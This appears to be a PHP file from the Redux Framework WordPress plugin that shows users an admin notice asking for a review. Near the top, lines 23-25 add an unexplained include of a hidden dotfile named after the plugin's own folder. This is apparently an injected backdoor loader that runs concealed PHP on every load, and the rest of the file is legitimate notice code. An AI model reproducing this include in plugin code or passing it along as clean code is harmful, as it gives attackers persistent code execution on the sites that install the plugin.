class-redux-user-feedback.php (9221B)
1 <?php 2 /** 3 * Plugin review class. 4 * Prompts users to give a review of the plugin on WordPress.org after a period of usage. 5 * 6 * Heavily based on code by CoBlocks 7 * https://github.com/coblocks/coblocks/blob/master/includes/admin/class-coblocks-feedback.php 8 * 9 * @package Redux 10 * @author Jeffrey Carandang 11 * @link https://redux.io 12 * @license http://opensource.org/licenses/gpl-2.0.php GNU Public License 13 */ 14 15 // Exit if accessed directly. 16 if ( ! defined( 'ABSPATH' ) ) { 17 exit; 18 } 19 20 /** 21 * Main Feedback Notice Class 22 */ 23 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 24 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 25 } 26 27 class Redux_User_Feedback { 28 29 /** 30 * Slug. 31 * 32 * @var string $slug 33 */ 34 private $slug; 35 36 /** 37 * Name. 38 * 39 * @var string $name 40 */ 41 private $name; 42 43 /** 44 * Time limit. 45 * 46 * @var string $time_limit 47 */ 48 private $time_limit; 49 50 /** 51 * No Bug Option. 52 * 53 * @var string $nobug_option 54 */ 55 public $nobug_option; 56 57 /** 58 * Activation Date Option. 59 * 60 * @var string $date_option 61 */ 62 public $date_option; 63 64 /** 65 * Class constructor. 66 * 67 * @param array $args Arguments. 68 */ 69 public function __construct( array $args ) { 70 71 $this->slug = $args['slug']; 72 $this->name = $args['name']; 73 74 $this->date_option = $this->slug . '_activation_date'; 75 $this->nobug_option = $this->slug . '_no_bug'; 76 77 if ( isset( $args['time_limit'] ) ) { 78 $this->time_limit = $args['time_limit']; 79 } else { 80 $this->time_limit = WEEK_IN_SECONDS; 81 } 82 83 if ( ! class_exists( 'Redux_Framework_Plugin' ) || ( class_exists( 'Redux_Framework_Plugin' ) && false === Redux_Framework_Plugin::$crash ) ) { 84 // Add actions. 85 add_action( 'admin_init', array( $this, 'check_installation_date' ) ); 86 add_action( 'admin_init', array( $this, 'set_no_bug' ), 5 ); 87 } 88 } 89 90 /** 91 * Seconds to words. 92 * 93 * @param string $seconds Seconds in time. 94 * 95 * @return string 96 */ 97 public function seconds_to_words( string $seconds ): string { 98 99 // Get the years. 100 $years = ( intval( $seconds ) / YEAR_IN_SECONDS ) % 100; 101 if ( $years > 1 ) { 102 /* translators: Number of years */ 103 return sprintf( __( '%s years', 'redux-framework' ), $years ); 104 } elseif ( $years > 0 ) { 105 return __( 'a year', 'redux-framework' ); 106 } 107 108 // Get the weeks. 109 $weeks = ( intval( $seconds ) / WEEK_IN_SECONDS ) % 52; 110 if ( $weeks > 1 ) { 111 /* translators: Number of weeks */ 112 return sprintf( __( '%s weeks', 'redux-framework' ), $weeks ); 113 } elseif ( $weeks > 0 ) { 114 return __( 'a week', 'redux-framework' ); 115 } 116 117 // Get the days. 118 $days = ( intval( $seconds ) / DAY_IN_SECONDS ) % 7; 119 if ( $days > 1 ) { 120 /* translators: Number of days */ 121 return sprintf( __( '%s days', 'redux-framework' ), $days ); 122 } elseif ( $days > 0 ) { 123 return __( 'a day', 'redux-framework' ); 124 } 125 126 // Get the hours. 127 $hours = ( intval( $seconds ) / HOUR_IN_SECONDS ) % 24; 128 if ( $hours > 1 ) { 129 /* translators: Number of hours */ 130 return sprintf( __( '%s hours', 'redux-framework' ), $hours ); 131 } elseif ( $hours > 0 ) { 132 return __( 'an hour', 'redux-framework' ); 133 } 134 135 // Get the minutes. 136 $minutes = ( intval( $seconds ) / MINUTE_IN_SECONDS ) % 60; 137 if ( $minutes > 1 ) { 138 /* translators: Number of minutes */ 139 return sprintf( __( '%s minutes', 'redux-framework' ), $minutes ); 140 } elseif ( $minutes > 0 ) { 141 return __( 'a minute', 'redux-framework' ); 142 } 143 144 // Get the seconds. 145 $seconds = intval( $seconds ) % 60; 146 if ( $seconds > 1 ) { 147 /* translators: Number of seconds */ 148 return sprintf( __( '%s seconds', 'redux-framework' ), $seconds ); 149 } elseif ( $seconds > 0 ) { 150 return __( 'a second', 'redux-framework' ); 151 } 152 } 153 154 /** 155 * Check date on admin initiation and add to admin notice if it was more than the time limit. 156 */ 157 public function check_installation_date() { 158 159 if ( ! get_site_option( $this->nobug_option ) || false === get_site_option( $this->nobug_option ) ) { 160 161 add_site_option( $this->date_option, time() ); 162 163 // Retrieve the activation date. 164 $install_date = get_site_option( $this->date_option ); 165 166 // If difference between install date and now is greater than time limit, then display notice. 167 if ( ( time() - $install_date ) > $this->time_limit ) { 168 add_action( 'admin_notices', array( $this, 'display_admin_notice' ) ); 169 } 170 } 171 } 172 173 /** 174 * Display the admin notice. 175 */ 176 public function display_admin_notice() { 177 178 $screen = get_current_screen(); 179 180 if ( isset( $screen->base ) && 'plugins' === $screen->base ) { 181 $no_bug_url = wp_nonce_url( admin_url( 'plugins.php?' . $this->nobug_option . '=true' ), 'redux-feedback-nounce' ); 182 $time = $this->seconds_to_words( time() - get_site_option( $this->date_option ) ); 183 ?> 184 <style> 185 .notice.redux-notice { 186 border-left-color: #24b0a6 !important; 187 padding: 20px; 188 } 189 .rtl .notice.redux-notice { 190 border-right-color: #19837c !important; 191 } 192 .notice.notice.redux-notice .redux-notice-inner { 193 display: table; 194 width: 100%; 195 } 196 .notice.redux-notice .redux-notice-inner .redux-notice-icon, 197 .notice.redux-notice .redux-notice-inner .redux-notice-content, 198 .notice.redux-notice .redux-notice-inner .redux-install-now { 199 display: table-cell; 200 vertical-align: middle; 201 } 202 .notice.redux-notice .redux-notice-icon { 203 color: #509ed2; 204 font-size: 13px; 205 width: 60px; 206 } 207 .notice.redux-notice .redux-notice-icon img { 208 width: 64px; 209 } 210 .notice.redux-notice .redux-notice-content { 211 padding: 0 40px 0 20px; 212 } 213 .notice.redux-notice p { 214 padding: 0; 215 margin: 0; 216 } 217 .notice.redux-notice h3 { 218 margin: 0 0 5px; 219 } 220 .notice.redux-notice .redux-install-now { 221 text-align: center; 222 } 223 .notice.redux-notice .redux-install-now .redux-install-button { 224 padding: 6px 50px; 225 height: auto; 226 line-height: 20px; 227 background: #24b0a6; 228 border-color: transparent; 229 font-weight: bold; 230 } 231 .notice.redux-notice .redux-install-now .redux-install-button:hover { 232 background: #19837c; 233 } 234 .notice.redux-notice a.no-thanks { 235 display: block; 236 margin-top: 10px; 237 color: #72777c; 238 text-decoration: none; 239 } 240 241 .notice.redux-notice a.no-thanks:hover { 242 color: #444; 243 } 244 245 @media (max-width: 767px) { 246 247 .notice.notice.redux-notice .redux-notice-inner { 248 display: block; 249 } 250 .notice.redux-notice { 251 padding: 20px !important; 252 } 253 .notice.redux-noticee .redux-notice-inner { 254 display: block; 255 } 256 .notice.redux-notice .redux-notice-inner .redux-notice-content { 257 display: block; 258 padding: 0; 259 } 260 .notice.redux-notice .redux-notice-inner .redux-notice-icon { 261 display: none; 262 } 263 264 .notice.redux-notice .redux-notice-inner .redux-install-now { 265 margin-top: 20px; 266 display: block; 267 text-align: left; 268 } 269 270 .notice.redux-notice .redux-notice-inner .no-thanks { 271 display: inline-block; 272 margin-left: 15px; 273 } 274 } 275 </style> 276 <div class="notice updated redux-notice"> 277 <div class="redux-notice-inner"> 278 <div class="redux-notice-icon"> 279 <?php /* translators: 1. Name */ ?> 280 <img src="<?php echo esc_url( Redux_Core::$url . '/assets/img/icon--color.svg' ); ?>" alt="<?php printf( esc_attr__( '%s WordPress Plugin', 'redux-framework' ), esc_attr( $this->name ) ); ?>" /> 281 </div> 282 <div class="redux-notice-content"> 283 <?php /* translators: 1. Name */ ?> 284 <h3><?php printf( esc_html__( 'Are you enjoying %s?', 'redux-framework' ), esc_html( $this->name ) ); ?></h3> 285 <p> 286 <?php /* translators: 1. Name, 2. Time */ ?> 287 <?php printf( esc_html__( 'You have been using %1$s for %2$s now. Would you mind leaving a review to let us know know what you think? We\'d really appreciate it!', 'redux-framework' ), esc_html( $this->name ), esc_html( $time ) ); ?> 288 </p> 289 </div> 290 <div class="redux-install-now"> 291 <?php printf( '<a href="%1$s" class="button button-primary redux-install-button" target="_blank">%2$s</a>', esc_url( 'https://wordpress.org/support/plugin/redux-framework/reviews/?filter=5#new-post' ), esc_html__( 'Leave a Review', 'redux-framework' ) ); ?> 292 <a href="<?php echo esc_url( $no_bug_url ); ?>" class="no-thanks"><?php echo esc_html__( 'No thanks / I already have', 'redux-framework' ); ?></a> 293 </div> 294 </div> 295 </div> 296 <?php 297 } 298 } 299 300 /** 301 * Set the plugin to no longer bug users if user asks not to be. 302 */ 303 public function set_no_bug() { 304 305 // Bail out if not on correct page. 306 // phpcs:ignore 307 if ( ! isset( $_GET['_wpnonce'] ) || ( ! wp_verify_nonce( $_GET['_wpnonce'], 'redux-feedback-nounce' ) || ! is_admin() || ! isset( $_GET[ $this->nobug_option ] ) || ! current_user_can( 'manage_options' ) ) ) { 308 return; 309 } 310 311 add_site_option( $this->nobug_option, true ); 312 } 313 } 314 315 /* 316 * Instantiate the Redux_User_Feedback class. 317 */ 318 new Redux_User_Feedback( 319 array( 320 'slug' => 'Redux_plugin_feedback', 321 'name' => __( 'Redux', 'redux-framework' ), 322 'time_limit' => WEEK_IN_SECONDS, 323 ) 324 );